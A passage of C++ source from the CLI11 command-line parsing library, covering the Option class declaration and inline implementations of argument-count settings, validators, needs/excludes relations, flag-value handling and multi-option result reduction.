injected after each argument call\n    bool inject_separator_{false};\n    /// flag indicating that the option should trigger the validation and callback chain on each result when loaded\n    bool trigger_on_result_{false};\n    /// flag indicating that the option should force the callback regardless if any results present\n    bool force_callback_{false};\n    ///@}\n\n    /// Making an option by hand is not defined, it must be made by the App class\n    Option(std::string option_name, std::string option_description, callback_t callback, App *parent)\n        : description_(std::move(option_description)), parent_(parent), callback_(std::move(callback)) {\n        std::tie(snames_, lnames_, pname_) = detail::get_names(detail::split_names(option_name));\n    }\n\n  public:\n    /// @name Basic\n    ///@{\n\n    Option(const Option &) = delete;\n    Option &operator=(const Option &) = delete;\n\n    /// Count the total number of times an option was passed\n    CLI11_NODISCARD std::size_t count() const { return results_.size(); }\n\n    /// True if the option was not passed\n    CLI11_NODISCARD bool empty() const { return results_.empty(); }\n\n    /// This bool operator returns true if any arguments were passed or the option callback is forced\n    explicit operator bool() const { return !empty() || force_callback_; }\n\n    /// Clear the parsed results (mostly for testing)\n    void clear() {\n        results_.clear();\n        current_option_state_ = option_state::parsing;\n    }\n\n    ///@}\n    /// @name Setting options\n    ///@{\n\n    /// Set the number of expected arguments\n    Option *expected(int value);\n\n    /// Set the range of expected arguments\n    Option *expected(int value_min, int value_max);\n\n    /// Set the value of allow_extra_args which allows extra value arguments on the flag or option to be included\n    /// with each instance\n    Option *allow_extra_args(bool value = true) {\n        allow_extra_args_ = value;\n        return this;\n    }\n    /// Get the current value of allow extra args\n    CLI11_NODISCARD bool get_allow_extra_args() const { return allow_extra_args_; }\n    /// Set the value of trigger_on_parse which specifies that the option callback should be triggered on every parse\n    Option *trigger_on_parse(bool value = true) {\n        trigger_on_result_ = value;\n        return this;\n    }\n    /// The status of trigger on parse\n    CLI11_NODISCARD bool get_trigger_on_parse() const { return trigger_on_result_; }\n\n    /// Set the value of force_callback\n    Option *force_callback(bool value = true) {\n        force_callback_ = value;\n        return this;\n    }\n    /// The status of force_callback\n    CLI11_NODISCARD bool get_force_callback() const { return force_callback_; }\n\n    /// Set the value of run_callback_for_default which controls whether the callback function should be called to set\n    /// the default This is controlled automatically but could be manipulated by the user.\n    Option *run_callback_for_default(bool value = true) {\n        run_callback_for_default_ = value;\n        return this;\n    }\n    /// Get the current value of run_callback_for_default\n    CLI11_NODISCARD bool get_run_callback_for_default() const { return run_callback_for_default_; }\n\n    /// Adds a Validator with a built in type name\n    Option *check(Validator validator, const std::string &validator_name = \"\");\n\n    /// Adds a Validator. Takes a const string& and returns an error message (empty if conversion/check is okay).\n    Option *check(std::function<std::string(const std::string &)> Validator,\n                  std::string Validator_description = \"\",\n                  std::string Validator_name = \"\");\n\n    /// Adds a transforming Validator with a built in type name\n    Option *transform(Validator Validator, const std::string &Validator_name = \"\");\n\n    /// Adds a Validator-like function that can change result\n    Option *transform(const std::function<std::string(std::string)> &func,\n                      std::string transform_description = \"\",\n                      std::string transform_name = \"\");\n\n    /// Adds a user supplied function to run on each item passed in (communicate though lambda capture)\n    Option *each(const std::function<void(std::string)> &func);\n\n    /// Get a named Validator\n    Validator *get_validator(const std::string &Validator_name = \"\");\n\n    /// Get a Validator by index NOTE: this may not be the order of definition\n    Validator *get_validator(int index);\n\n    /// Sets required options\n    Option *needs(Option *opt) {\n        if(opt != this) {\n            needs_.insert(opt);\n        }\n        return this;\n    }\n\n    /// Can find a string if needed\n    template <typename T = App> Option *needs(std::string opt_name) {\n        auto opt = static_cast<T *>(parent_)->get_option_no_throw(opt_name);\n        if(opt == nullptr) {\n            throw IncorrectConstruction::MissingOption(opt_name);\n        }\n        return needs(opt);\n    }\n\n    /// Any number supported, any mix of string and Opt\n    template <typename A, typename B, typename... ARG> Option *needs(A opt, B opt1, ARG... args) {\n        needs(opt);\n        return needs(opt1, args...);  // NOLINT(readability-suspicious-call-argument)\n    }\n\n    /// Remove needs link from an option. Returns true if the option really was in the needs list.\n    bool remove_needs(Option *opt);\n\n    /// Sets excluded options\n    Option *excludes(Option *opt);\n\n    /// Can find a string if needed\n    template <typename T = App> Option *excludes(std::string opt_name) {\n        auto opt = static_cast<T *>(parent_)->get_option_no_throw(opt_name);\n        if(opt == nullptr) {\n            throw IncorrectConstruction::MissingOption(opt_name);\n        }\n        return excludes(opt);\n    }\n\n    /// Any number supported, any mix of string and Opt\n    template <typename A, typename B, typename... ARG> Option *excludes(A opt, B opt1, ARG... args) {\n        excludes(opt);\n        return excludes(opt1, args...);\n    }\n\n    /// Remove needs link from an option. Returns true if the option really was in the needs list.\n    bool remove_excludes(Option *opt);\n\n    /// Sets environment variable to read if no option given\n    Option *envname(std::string name) {\n        envname_ = std::move(name);\n        return this;\n    }\n\n    /// Ignore case\n    ///\n    /// The template hides the fact that we don't have the definition of App yet.\n    /// You are never expected to add an argument to the template here.\n    template <typename T = App> Option *ignore_case(bool value = true);\n\n    /// Ignore underscores in the option names\n    ///\n    /// The template hides the fact that we don't have the definition of App yet.\n    /// You are never expected to add an argument to the template here.\n    template <typename T = App> Option *ignore_underscore(bool value = true);\n\n    /// Take the last argument if given multiple times (or another policy)\n    Option *multi_option_policy(MultiOptionPolicy value = MultiOptionPolicy::Throw);\n\n    /// Disable flag overrides values, e.g. --flag=<value> is not allowed\n    Option *disable_flag_override(bool value = true) {\n        disable_flag_override_ = value;\n        return this;\n    }\n    ///@}\n    /// @name Accessors\n    ///@{\n\n    /// The number of arguments the option expects\n    CLI11_NODISCARD int get_type_size() const { return type_size_min_; }\n\n    /// The minimum number of arguments the option expects\n    CLI11_NODISCARD int get_type_size_min() const { return type_size_min_; }\n    /// The maximum number of arguments the option expects\n    CLI11_NODISCARD int get_type_size_max() const { return type_size_max_; }\n\n    /// Return the inject_separator flag\n    CLI11_NODISCARD bool get_inject_separator() const { return inject_separator_; }\n\n    /// The environment variable associated to this value\n    CLI11_NODISCARD std::string get_envname() const { return envname_; }\n\n    /// The set of options needed\n    CLI11_NODISCARD std::set<Option *> get_needs() const { return needs_; }\n\n    /// The set of options excluded\n    CLI11_NODISCARD std::set<Option *> get_excludes() const { return excludes_; }\n\n    /// The default value (for help printing)\n    CLI11_NODISCARD std::string get_default_str() const { return default_str_; }\n\n    /// Get the callback function\n    CLI11_NODISCARD callback_t get_callback() const { return callback_; }\n\n    /// Get the long names\n    CLI11_NODISCARD const std::vector<std::string> &get_lnames() const { return lnames_; }\n\n    /// Get the short names\n    CLI11_NODISCARD const std::vector<std::string> &get_snames() const { return snames_; }\n\n    /// Get the flag names with specified default values\n    CLI11_NODISCARD const std::vector<std::string> &get_fnames() const { return fnames_; }\n    /// Get a single name for the option, first of lname, pname, sname, envname\n    CLI11_NODISCARD const std::string &get_single_name() const {\n        if(!lnames_.empty()) {\n            return lnames_[0];\n        }\n        if(!pname_.empty()) {\n            return pname_;\n        }\n        if(!snames_.empty()) {\n            return snames_[0];\n        }\n        return envname_;\n    }\n    /// The number of times the option expects to be included\n    CLI11_NODISCARD int get_expected() const { return expected_min_; }\n\n    /// The number of times the option expects to be included\n    CLI11_NODISCARD int get_expected_min() const { return expected_min_; }\n    /// The max number of times the option expects to be included\n    CLI11_NODISCARD int get_expected_max() const { return expected_max_; }\n\n    /// The total min number of expected  string values to be used\n    CLI11_NODISCARD int get_items_expected_min() const { return type_size_min_ * expected_min_; }\n\n    /// Get the maximum number of items expected to be returned and used for the callback\n    CLI11_NODISCARD int get_items_expected_max() const {\n        int t = type_size_max_;\n        return detail::checked_multiply(t, expected_max_) ? t : detail::expected_max_vector_size;\n    }\n    /// The total min number of expected  string values to be used\n    CLI11_NODISCARD int get_items_expected() const { return get_items_expected_min(); }\n\n    /// True if the argument can be given directly\n    CLI11_NODISCARD bool get_positional() const { return pname_.length() > 0; }\n\n    /// True if option has at least one non-positional name\n    CLI11_NODISCARD bool nonpositional() const { return (snames_.size() + lnames_.size()) > 0; }\n\n    /// True if option has description\n    CLI11_NODISCARD bool has_description() const { return description_.length() > 0; }\n\n    /// Get the description\n    CLI11_NODISCARD const std::string &get_description() const { return description_; }\n\n    /// Set the description\n    Option *description(std::string option_description) {\n        description_ = std::move(option_description);\n        return this;\n    }\n\n    Option *option_text(std::string text) {\n        option_text_ = std::move(text);\n        return this;\n    }\n\n    CLI11_NODISCARD const std::string &get_option_text() const { return option_text_; }\n\n    ///@}\n    /// @name Help tools\n    ///@{\n\n    /// \\brief Gets a comma separated list of names.\n    /// Will include / prefer the positional name if positional is true.\n    /// If all_options is false, pick just the most descriptive name to show.\n    /// Use `get_name(true)` to get the positional name (replaces `get_pname`)\n    CLI11_NODISCARD std::string get_name(bool positional = false,  ///< Show the positional name\n                                         bool all_options = false  ///< Show every option\n    ) const;\n\n    ///@}\n    /// @name Parser tools\n    ///@{\n\n    /// Process the callback\n    void run_callback();\n\n    /// If options share any of the same names, find it\n    CLI11_NODISCARD const std::string &matching_name(const Option &other) const;\n\n    /// If options share any of the same names, they are equal (not counting positional)\n    bool operator==(const Option &other) const { return !matching_name(other).empty(); }\n\n    /// Check a name. Requires \"-\" or \"--\" for short / long, supports positional name\n    CLI11_NODISCARD bool check_name(const std::string &name) const;\n\n    /// Requires \"-\" to be removed from string\n    CLI11_NODISCARD bool check_sname(std::string name) const {\n        return (detail::find_member(std::move(name), snames_, ignore_case_) >= 0);\n    }\n\n    /// Requires \"--\" to be removed from string\n    CLI11_NODISCARD bool check_lname(std::string name) const {\n        return (detail::find_member(std::move(name), lnames_, ignore_case_, ignore_underscore_) >= 0);\n    }\n\n    /// Requires \"--\" to be removed from string\n    CLI11_NODISCARD bool check_fname(std::string name) const {\n        if(fnames_.empty()) {\n            return false;\n        }\n        return (detail::find_member(std::move(name), fnames_, ignore_case_, ignore_underscore_) >= 0);\n    }\n\n    /// Get the value that goes for a flag, nominally gets the default value but allows for overrides if not\n    /// disabled\n    CLI11_NODISCARD std::string get_flag_value(const std::string &name, std::string input_value) const;\n\n    /// Puts a result at the end\n    Option *add_result(std::string s);\n\n    /// Puts a result at the end and get a count of the number of arguments actually added\n    Option *add_result(std::string s, int &results_added);\n\n    /// Puts a result at the end\n    Option *add_result(std::vector<std::string> s);\n\n    /// Get the current complete results set\n    CLI11_NODISCARD const results_t &results() const { return results_; }\n\n    /// Get a copy of the results\n    CLI11_NODISCARD results_t reduced_results() const;\n\n    /// Get the results as a specified type\n    template <typename T> void results(T &output) const {\n        bool retval = false;\n        if(current_option_state_ >= option_state::reduced || (results_.size() == 1 && validators_.empty())) {\n            const results_t &res = (proc_results_.empty()) ? results_ : proc_results_;\n            retval = detail::lexical_conversion<T, T>(res, output);\n        } else {\n            results_t res;\n            if(results_.empty()) {\n                if(!default_str_.empty()) {\n                    // _add_results takes an rvalue only\n                    _add_result(std::string(default_str_), res);\n                    _validate_results(res);\n                    results_t extra;\n                    _reduce_results(extra, res);\n                    if(!extra.empty()) {\n                        res = std::move(extra);\n                    }\n                } else {\n                    res.emplace_back();\n                }\n            } else {\n                res = reduced_results();\n            }\n            retval = detail::lexical_conversion<T, T>(res, output);\n        }\n        if(!retval) {\n            throw ConversionError(get_name(), results_);\n        }\n    }\n\n    /// Return the results as the specified type\n    template <typename T> CLI11_NODISCARD T as() const {\n        T output;\n        results(output);\n        return output;\n    }\n\n    /// See if the callback has been run already\n    CLI11_NODISCARD bool get_callback_run() const { return (current_option_state_ == option_state::callback_run); }\n\n    ///@}\n    /// @name Custom options\n    ///@{\n\n    /// Set the type function to run when displayed on this option\n    Option *type_name_fn(std::function<std::string()> typefun) {\n        type_name_ = std::move(typefun);\n        return this;\n    }\n\n    /// Set a custom option typestring\n    Option *type_name(std::string typeval) {\n        type_name_fn([typeval]() { return typeval; });\n        return this;\n    }\n\n    /// Set a custom option size\n    Option *type_size(int option_type_size);\n\n    /// Set a custom option type size range\n    Option *type_size(int option_type_size_min, int option_type_size_max);\n\n    /// Set the value of the separator injection flag\n    void inject_separator(bool value = true) { inject_separator_ = value; }\n\n    /// Set a capture function for the default. Mostly used by App.\n    Option *default_function(const std::function<std::string()> &func) {\n        default_function_ = func;\n        return this;\n    }\n\n    /// Capture the default value from the original value (if it can be captured)\n    Option *capture_default_str() {\n        if(default_function_) {\n            default_str_ = default_function_();\n        }\n        return this;\n    }\n\n    /// Set the default value string representation (does not change the contained value)\n    Option *default_str(std::string val) {\n        default_str_ = std::move(val);\n        return this;\n    }\n\n    /// Set the default value and validate the results and run the callback if appropriate to set the value into the\n    /// bound value only available for types that can be converted to a string\n    template <typename X> Option *default_val(const X &val) {\n        std::string val_str = detail::to_string(val);\n        auto old_option_state = current_option_state_;\n        results_t old_results{std::move(results_)};\n        results_.clear();\n        try {\n            add_result(val_str);\n            // if trigger_on_result_ is set the callback already ran\n            if(run_callback_for_default_ && !trigger_on_result_) {\n                run_callback();  // run callback sets the state, we need to reset it again\n                current_option_state_ = option_state::parsing;\n            } else {\n                _validate_results(results_);\n                current_option_state_ = old_option_state;\n            }\n        } catch(const CLI::Error &) {\n            // this should be done\n            results_ = std::move(old_results);\n            current_option_state_ = old_option_state;\n            throw;\n        }\n        results_ = std::move(old_results);\n        default_str_ = std::move(val_str);\n        return this;\n    }\n\n    /// Get the full typename for this option\n    CLI11_NODISCARD std::string get_type_name() const;\n\n  private:\n    /// Run the results through the Validators\n    void _validate_results(results_t &res) const;\n\n    /** reduce the results in accordance with the MultiOptionPolicy\n    @param[out] out results are assigned to res if there if they are different\n    */\n    void _reduce_results(results_t &out, const results_t &original) const;\n\n    // Run a result through the Validators\n    std::string _validate(std::string &result, int index) const;\n\n    /// Add a single result to the result set, taking into account delimiters\n    int _add_result(std::string &&result, std::vector<std::string> &res) const;\n};\n\n\n\n\ntemplate <typename CRTP> template <typename T> void OptionBase<CRTP>::copy_to(T *other) const {\n    other->group(group_);\n    other->required(required_);\n    other->ignore_case(ignore_case_);\n    other->ignore_underscore(ignore_underscore_);\n    other->configurable(configurable_);\n    other->disable_flag_override(disable_flag_override_);\n    other->delimiter(delimiter_);\n    other->always_capture_default(always_capture_default_);\n    other->multi_option_policy(multi_option_policy_);\n}\n\nCLI11_INLINE Option *Option::expected(int value) {\n    if(value < 0) {\n        expected_min_ = -value;\n        if(expected_max_ < expected_min_) {\n            expected_max_ = expected_min_;\n        }\n        allow_extra_args_ = true;\n        flag_like_ = false;\n    } else if(value == detail::expected_max_vector_size) {\n        expected_min_ = 1;\n        expected_max_ = detail::expected_max_vector_size;\n        allow_extra_args_ = true;\n        flag_like_ = false;\n    } else {\n        expected_min_ = value;\n        expected_max_ = value;\n        flag_like_ = (expected_min_ == 0);\n    }\n    return this;\n}\n\nCLI11_INLINE Option *Option::expected(int value_min, int value_max) {\n    if(value_min < 0) {\n        value_min = -value_min;\n    }\n\n    if(value_max < 0) {\n        value_max = detail::expected_max_vector_size;\n    }\n    if(value_max < value_min) {\n        expected_min_ = value_max;\n        expected_max_ = value_min;\n    } else {\n        expected_max_ = value_max;\n        expected_min_ = value_min;\n    }\n\n    return this;\n}\n\nCLI11_INLINE Option *Option::check(Validator validator, const std::string &validator_name) {\n    validator.non_modifying();\n    validators_.push_back(std::move(validator));\n    if(!validator_name.empty())\n        validators_.back().name(validator_name);\n    return this;\n}\n\nCLI11_INLINE Option *Option::check(std::function<std::string(const std::string &)> Validator,\n                                   std::string Validator_description,\n                                   std::string Validator_name) {\n    validators_.emplace_back(Validator, std::move(Validator_description), std::move(Validator_name));\n    validators_.back().non_modifying();\n    return this;\n}\n\nCLI11_INLINE Option *Option::transform(Validator Validator, const std::string &Validator_name) {\n    validators_.insert(validators_.begin(), std::move(Validator));\n    if(!Validator_name.empty())\n        validators_.front().name(Validator_name);\n    return this;\n}\n\nCLI11_INLINE Option *Option::transform(const std::function<std::string(std::string)> &func,\n                                       std::string transform_description,\n                                       std::string transform_name) {\n    validators_.insert(validators_.begin(),\n                       Validator(\n                           [func](std::string &val) {\n                               val = func(val);\n                               return std::string{};\n                           },\n                           std::move(transform_description),\n                           std::move(transform_name)));\n\n    return this;\n}\n\nCLI11_INLINE Option *Option::each(const std::function<void(std::string)> &func) {\n    validators_.emplace_back(\n        [func](std::string &inout) {\n            func(inout);\n            return std::string{};\n        },\n        std::string{});\n    return this;\n}\n\nCLI11_INLINE Validator *Option::get_validator(const std::string &Validator_name) {\n    for(auto &Validator : validators_) {\n        if(Validator_name == Validator.get_name()) {\n            return &Validator;\n        }\n    }\n    if((Validator_name.empty()) && (!validators_.empty())) {\n        return &(validators_.front());\n    }\n    throw OptionNotFound(std::string{\"Validator \"} + Validator_name + \" Not Found\");\n}\n\nCLI11_INLINE Validator *Option::get_validator(int index) {\n    // This is an signed int so that it is not equivalent to a pointer.\n    if(index >= 0 && index < static_cast<int>(validators_.size())) {\n        return &(validators_[static_cast<decltype(validators_)::size_type>(index)]);\n    }\n    throw OptionNotFound(\"Validator index is not valid\");\n}\n\nCLI11_INLINE bool Option::remove_needs(Option *opt) {\n    auto iterator = std::find(std::begin(needs_), std::end(needs_), opt);\n\n    if(iterator == std::end(needs_)) {\n        return false;\n    }\n    needs_.erase(iterator);\n    return true;\n}\n\nCLI11_INLINE Option *Option::excludes(Option *opt) {\n    if(opt == this) {\n        throw(IncorrectConstruction(\"and option cannot exclude itself\"));\n    }\n    excludes_.insert(opt);\n\n    // Help text should be symmetric - excluding a should exclude b\n    opt->excludes_.insert(this);\n\n    // Ignoring the insert return value, excluding twice is now allowed.\n    // (Mostly to allow both directions to be excluded by user, even though the library does it for you.)\n\n    return this;\n}\n\nCLI11_INLINE bool Option::remove_excludes(Option *opt) {\n    auto iterator = std::find(std::begin(excludes_), std::end(excludes_), opt);\n\n    if(iterator == std::end(excludes_)) {\n        return false;\n    }\n    excludes_.erase(iterator);\n    return true;\n}\n\ntemplate <typename T> Option *Option::ignore_case(bool value) {\n    if(!ignore_case_ && value) {\n        ignore_case_ = value;\n        auto *parent = static_cast<T *>(parent_);\n        for(const Option_p &opt : parent->options_) {\n            if(opt.get() == this) {\n                continue;\n            }\n            const auto &omatch = opt->matching_name(*this);\n            if(!omatch.empty()) {\n                ignore_case_ = false;\n                throw OptionAlreadyAdded(\"adding ignore case caused a name conflict with \" + omatch);\n            }\n        }\n    } else {\n        ignore_case_ = value;\n    }\n    return this;\n}\n\ntemplate <typename T> Option *Option::ignore_underscore(bool value) {\n\n    if(!ignore_underscore_ && value) {\n        ignore_underscore_ = value;\n        auto *parent = static_cast<T *>(parent_);\n        for(const Option_p &opt : parent->options_) {\n            if(opt.get() == this) {\n                continue;\n            }\n            const auto &omatch = opt->matching_name(*this);\n            if(!omatch.empty()) {\n                ignore_underscore_ = false;\n                throw OptionAlreadyAdded(\"adding ignore underscore caused a name conflict with \" + omatch);\n            }\n        }\n    } else {\n        ignore_underscore_ = value;\n    }\n    return this;\n}\n\nCLI11_INLINE Option *Option::multi_option_policy(MultiOptionPolicy value) {\n    if(value != multi_option_policy_) {\n        if(multi_option_policy_ == MultiOptionPolicy::Throw && expected_max_ == detail::expected_max_vector_size &&\n           expected_min_ > 1) {  // this bizarre condition is to maintain backwards compatibility\n                                 // with the previous behavior of expected_ with vectors\n            expected_max_ = expected_min_;\n        }\n        multi_option_policy_ = value;\n        current_option_state_ = option_state::parsing;\n    }\n    return this;\n}\n\nCLI11_NODISCARD CLI11_INLINE std::string Option::get_name(bool positional, bool all_options) const {\n    if(get_group().empty())\n        return {};  // Hidden\n\n    if(all_options) {\n\n        std::vector<std::string> name_list;\n\n        /// The all list will never include a positional unless asked or that's the only name.\n        if((positional && (!pname_.empty())) || (snames_.empty() && lnames_.empty())) {\n            name_list.push_back(pname_);\n        }\n        if((get_items_expected() == 0) && (!fnames_.empty())) {\n            for(const std::string &sname : snames_) {\n                name_list.push_back(\"-\" + sname);\n                if(check_fname(sname)) {\n                    name_list.back() += \"{\" + get_flag_value(sname, \"\") + \"}\";\n                }\n            }\n\n            for(const std::string &lname : lnames_) {\n                name_list.push_back(\"--\" + lname);\n                if(check_fname(lname)) {\n                    name_list.back() += \"{\" + get_flag_value(lname, \"\") + \"}\";\n                }\n            }\n        } else {\n            for(const std::string &sname : snames_)\n                name_list.push_back(\"-\" + sname);\n\n            for(const std::string &lname : lnames_)\n                name_list.push_back(\"--\" + lname);\n        }\n\n        return detail::join(name_list);\n    }\n\n    // This returns the positional name no matter what\n    if(positional)\n        return pname_;\n\n    // Prefer long name\n    if(!lnames_.empty())\n        return std::string(2, '-') + lnames_[0];\n\n    // Or short name if no long name\n    if(!snames_.empty())\n        return std::string(1, '-') + snames_[0];\n\n    // If positional is the only name, it's okay to use that\n    return pname_;\n}\n\nCLI11_INLINE void Option::run_callback() {\n    if(force_callback_ && results_.empty()) {\n        add_result(default_str_);\n    }\n    if(current_option_state_ == option_state::parsing) {\n        _validate_results(results_);\n        current_option_state_ = option_state::validated;\n    }\n\n    if(current_option_state_ < option_state::reduced) {\n        _reduce_results(proc_results_, results_);\n        current_option_state_ = option_state::reduced;\n    }\n    if(current_option_state_ >= option_state::reduced) {\n        current_option_state_ = option_state::callback_run;\n        if(!(callback_)) {\n            return;\n        }\n        const results_t &send_results = proc_results_.empty() ? results_ : proc_results_;\n        bool local_result = callback_(send_results);\n\n        if(!local_result)\n            throw ConversionError(get_name(), results_);\n    }\n}\n\nCLI11_NODISCARD CLI11_INLINE const std::string &Option::matching_name(const Option &other) const {\n    static const std::string estring;\n    for(const std::string &sname : snames_)\n        if(other.check_sname(sname))\n            return sname;\n    for(const std::string &lname : lnames_)\n        if(other.check_lname(lname))\n            return lname;\n\n    if(ignore_case_ ||\n       ignore_underscore_) {  // We need to do the inverse, in case we are ignore_case or ignore underscore\n        for(const std::string &sname : other.snames_)\n            if(check_sname(sname))\n                return sname;\n        for(const std::string &lname : other.lnames_)\n            if(check_lname(lname))\n                return lname;\n    }\n    return estring;\n}\n\nCLI11_NODISCARD CLI11_INLINE bool Option::check_name(const std::string &name) const {\n\n    if(name.length() > 2 && name[0] == '-' && name[1] == '-')\n        return check_lname(name.substr(2));\n    if(name.length() > 1 && name.front() == '-')\n        return check_sname(name.substr(1));\n    if(!pname_.empty()) {\n        std::string local_pname = pname_;\n        std::string local_name = name;\n        if(ignore_underscore_) {\n            local_pname = detail::remove_underscore(local_pname);\n            local_name = detail::remove_underscore(local_name);\n        }\n        if(ignore_case_) {\n            local_pname = detail::to_lower(local_pname);\n            local_name = detail::to_lower(local_name);\n        }\n        if(local_name == local_pname) {\n            return true;\n        }\n    }\n\n    if(!envname_.empty()) {\n        // this needs to be the original since envname_ shouldn't match on case insensitivity\n        return (name == envname_);\n    }\n    return false;\n}\n\nCLI11_NODISCARD CLI11_INLINE std::string Option::get_flag_value(const std::string &name,\n                                                                std::string input_value) const {\n    static const std::string trueString{\"true\"};\n    static const std::string falseString{\"false\"};\n    static const std::string emptyString{\"{}\"};\n    // check for disable flag override_\n    if(disable_flag_override_) {\n        if(!((input_value.empty()) || (input_value == emptyString))) {\n            auto default_ind = detail::find_member(name, fnames_, ignore_case_, ignore_underscore_);\n            if(default_ind >= 0) {\n                // We can static cast this to std::size_t because it is more than 0 in this block\n                if(default_flag_values_[static_cast<std::size_t>(default_ind)].second != input_value) {\n                    throw(ArgumentMismatch::FlagOverride(name));\n                }\n            } else {\n                if(input_value != trueString) {\n                    throw(ArgumentMismatch::FlagOverride(name));\n                }\n            }\n        }\n    }\n    auto ind = detail::find_member(name, fnames_, ignore_case_, ignore_underscore_);\n    if((input_value.empty()) || (input_value == emptyString)) {\n        if(flag_like_) {\n            return (ind < 0) ? trueString : default_flag_values_[static_cast<std::size_t>(ind)].second;\n        }\n        return (ind < 0) ? default_str_ : default_flag_values_[static_cast<std::size_t>(ind)].second;\n    }\n    if(ind < 0) {\n        return input_value;\n    }\n    if(default_flag_values_[static_cast<std::size_t>(ind)].second == falseString) {\n        try {\n            auto val = detail::to_flag_value(input_value);\n            return (val == 1) ? falseString : (val == (-1) ? trueString : std::to_string(-val));\n        } catch(const std::invalid_argument &) {\n            return input_value;\n        }\n    } else {\n        return input_value;\n    }\n}\n\nCLI11_INLINE Option *Option::add_result(std::string s) {\n    _add_result(std::move(s), results_);\n    current_option_state_ = option_state::parsing;\n    return this;\n}\n\nCLI11_INLINE Option *Option::add_result(std::string s, int &results_added) {\n    results_added = _add_result(std::move(s), results_);\n    current_option_state_ = option_state::parsing;\n    return this;\n}\n\nCLI11_INLINE Option *Option::add_result(std::vector<std::string> s) {\n    current_option_state_ = option_state::parsing;\n    for(auto &str : s) {\n        _add_result(std::move(str), results_);\n    }\n    return this;\n}\n\nCLI11_NODISCARD CLI11_INLINE results_t Option::reduced_results() const {\n    results_t res = proc_results_.empty() ? results_ : proc_results_;\n    if(current_option_state_ < option_state::reduced) {\n        if(current_option_state_ == option_state::parsing) {\n            res = results_;\n            _validate_results(res);\n        }\n        if(!res.empty()) {\n            results_t extra;\n            _reduce_results(extra, res);\n            if(!extra.empty()) {\n                res = std::move(extra);\n            }\n        }\n    }\n    return res;\n}\n\nCLI11_INLINE Option *Option::type_size(int option_type_size) {\n    if(option_type_size < 0) {\n        // this section is included for backwards compatibility\n        type_size_max_ = -option_type_size;\n        type_size_min_ = -option_type_size;\n        expected_max_ = detail::expected_max_vector_size;\n    } else {\n        type_size_max_ = option_type_size;\n        if(type_size_max_ < detail::expected_max_vector_size) {\n            type_size_min_ = option_type_size;\n        } else {\n            inject_separator_ = true;\n        }\n        if(type_size_max_ == 0)\n            required_ = false;\n    }\n    return this;\n}\n\nCLI11_INLINE Option *Option::type_size(int option_type_size_min, int option_type_size_max) {\n    if(option_type_size_min < 0 || option_type_size_max < 0) {\n        // this section is included for backwards compatibility\n        expected_max_ = detail::expected_max_vector_size;\n        option_type_size_min = (std::abs)(option_type_size_min);\n        option_type_size_max = (std::abs)(option_type_size_max);\n    }\n\n    if(option_type_size_min > option_type_size_max) {\n        type_size_max_ = option_type_size_min;\n        type_size_min_ = option_type_size_max;\n    } else {\n        type_size_min_ = option_type_size_min;\n        type_size_max_ = option_type_size_max;\n    }\n    if(type_size_max_ == 0) {\n        required_ = false;\n    }\n    if(type_size_max_ >= detail::expected_max_vector_size) {\n        inject_separator_ = true;\n    }\n    return this;\n}\n\nCLI11_NODISCARD CLI11_INLINE std::string Option::get_type_name() const {\n    std::string full_type_name = type_name_();\n    if(!validators_.empty()) {\n        for(const auto &Validator : validators_) {\n            std::string vtype = Validator.get_description();\n            if(!vtype.empty()) {\n                full_type_name += \":\" + vtype;\n            }\n        }\n    }\n    return full_type_name;\n}\n\nCLI11_INLINE void Option::_validate_results(results_t &res) const {\n    // Run the Validators (can change the string)\n    if(!validators_.empty()) {\n        if(type_size_max_ > 1) {  // in this context index refers to the index in the type\n            int index = 0;\n            if(get_items_expected_max() < static_cast<int>(res.size()) &&\n               multi_option_policy_ == CLI::MultiOptionPolicy::TakeLast) {\n                // create a negative index for the earliest ones\n                index = get_items_expected_max() - static_cast<int>(res.size());\n            }\n\n            for(std::string &result : res) {\n                if(detail::is_separator(result) && type_size_max_ != type_size_min_ && index >= 0) {\n                    index = 0;  // reset index for variable size chunks\n                    continue;\n                }\n                auto err_msg = _validate(result, (index >= 0) ? (index % type_size_max_) : index);\n                if(!err_msg.empty())\n                    throw ValidationError(get_name(), err_msg);\n                ++index;\n            }\n        } else {\n            int index = 0;\n            if(expected_max_ < static_cast<int>(res.size()) &&\n               multi_option_policy_ == CLI::MultiOptionPolicy::TakeLast) {\n                // create a negative index for the earliest ones\n                index = expected_max_ - static_cast<int>(res.size());\n            }\n            for(std::string &result : res) {\n                auto err_msg = _validate(result, index);\n                ++index;\n                if(!err_msg.empty())\n                    throw ValidationError(get_name(), err_msg);\n            }\n        }\n    }\n}\n\nCLI11_INLINE void Option::_reduce_results(results_t &out, const results_t &original) const {\n\n    // max num items expected or length of vector, always at least 1\n    // Only valid for a trimming policy\n\n    out.clear();\n    // Operation depends on the policy setting\n    switch(multi_option_policy_) {\n    case MultiOptionPolicy::TakeAll:\n        break;\n    case MultiOptionPolicy::TakeLast: {\n        // Allow multi-option sizes (including 0)\n        std::size_t trim_size = std::min<std::size_t>(\n            static_cast<std::size_t>(std::max<int>(get_items_expected_max(), 1)), original.size());\n        if(original.size() != trim_size) {\n            out.assign(original.end() - static_cast<results_t::difference_type>(trim_size), original.end());\n        }\n    } break;\n    case MultiOptionPolicy::TakeFirst: {\n        std::size_t trim_size = std::min<std::size_t>(\n            static_cast<std::size_t>(std::max<int>(get_items_expected_max(), 1)), original.size());\n        if(original.size() != trim_size) {\n            out.assign(original.begin(), original.begin() + static_cast<results_t::difference_type>(trim_size));\n        }\n    } break;\n    case MultiOptionPolicy::Join:\n        if(results_.size() > 1) {\n            out.push_back(detail::join(original, std::string(1, (delimiter_ == '\\0') ? '\\n' : delimiter_)));\n        }\n        break;\n    case MultiOptionPolicy::Sum:\n        out.push_back(detail::sum_string_vector(original));\n        break;\n    case MultiOptionPolicy::Throw:\n    default: {\n        auto num_min = static_cast<std::size_t>(get_items_expected_min());\n        auto num_max = static_cast<std::size_t>(get_items_expected_max());\n        if(num_min == 0) {\n            num_min = 1;\n        }\n        if(num_max == 0) {\n            num_max = 1;\n        }\n        if(original.size() < num_min) {\n            throw ArgumentMismatch::AtLeast(get_name(), static_cast<int>(num_min), original.size());\n        }\n        if(original.size() > num_max) {\n            throw ArgumentMismatch::AtMost(get_name(), static_cast<int>(num_max), original.size());\n        }\n        break;\n    }\n    }\n    // this check is to allow an empty vector in certain circumstances but not if expected is not zero.\n    // {} is the indicator for an empty container\n    if(out.empty()) {\n        if(original.size() == 1 && original[0] == \"{}\" && get_items_expected_min() > 0) {\n            out.push_back(\"{}\");\n            out.push_back(\"%%\");\n        }\n    } else if(out.size() == 1 && out[0] == \"{}\" && get_items_expected_min() > 0) {\n        out.push_back(\"%%\");\n    }\n}\n\nCLI11_INLINE std::string 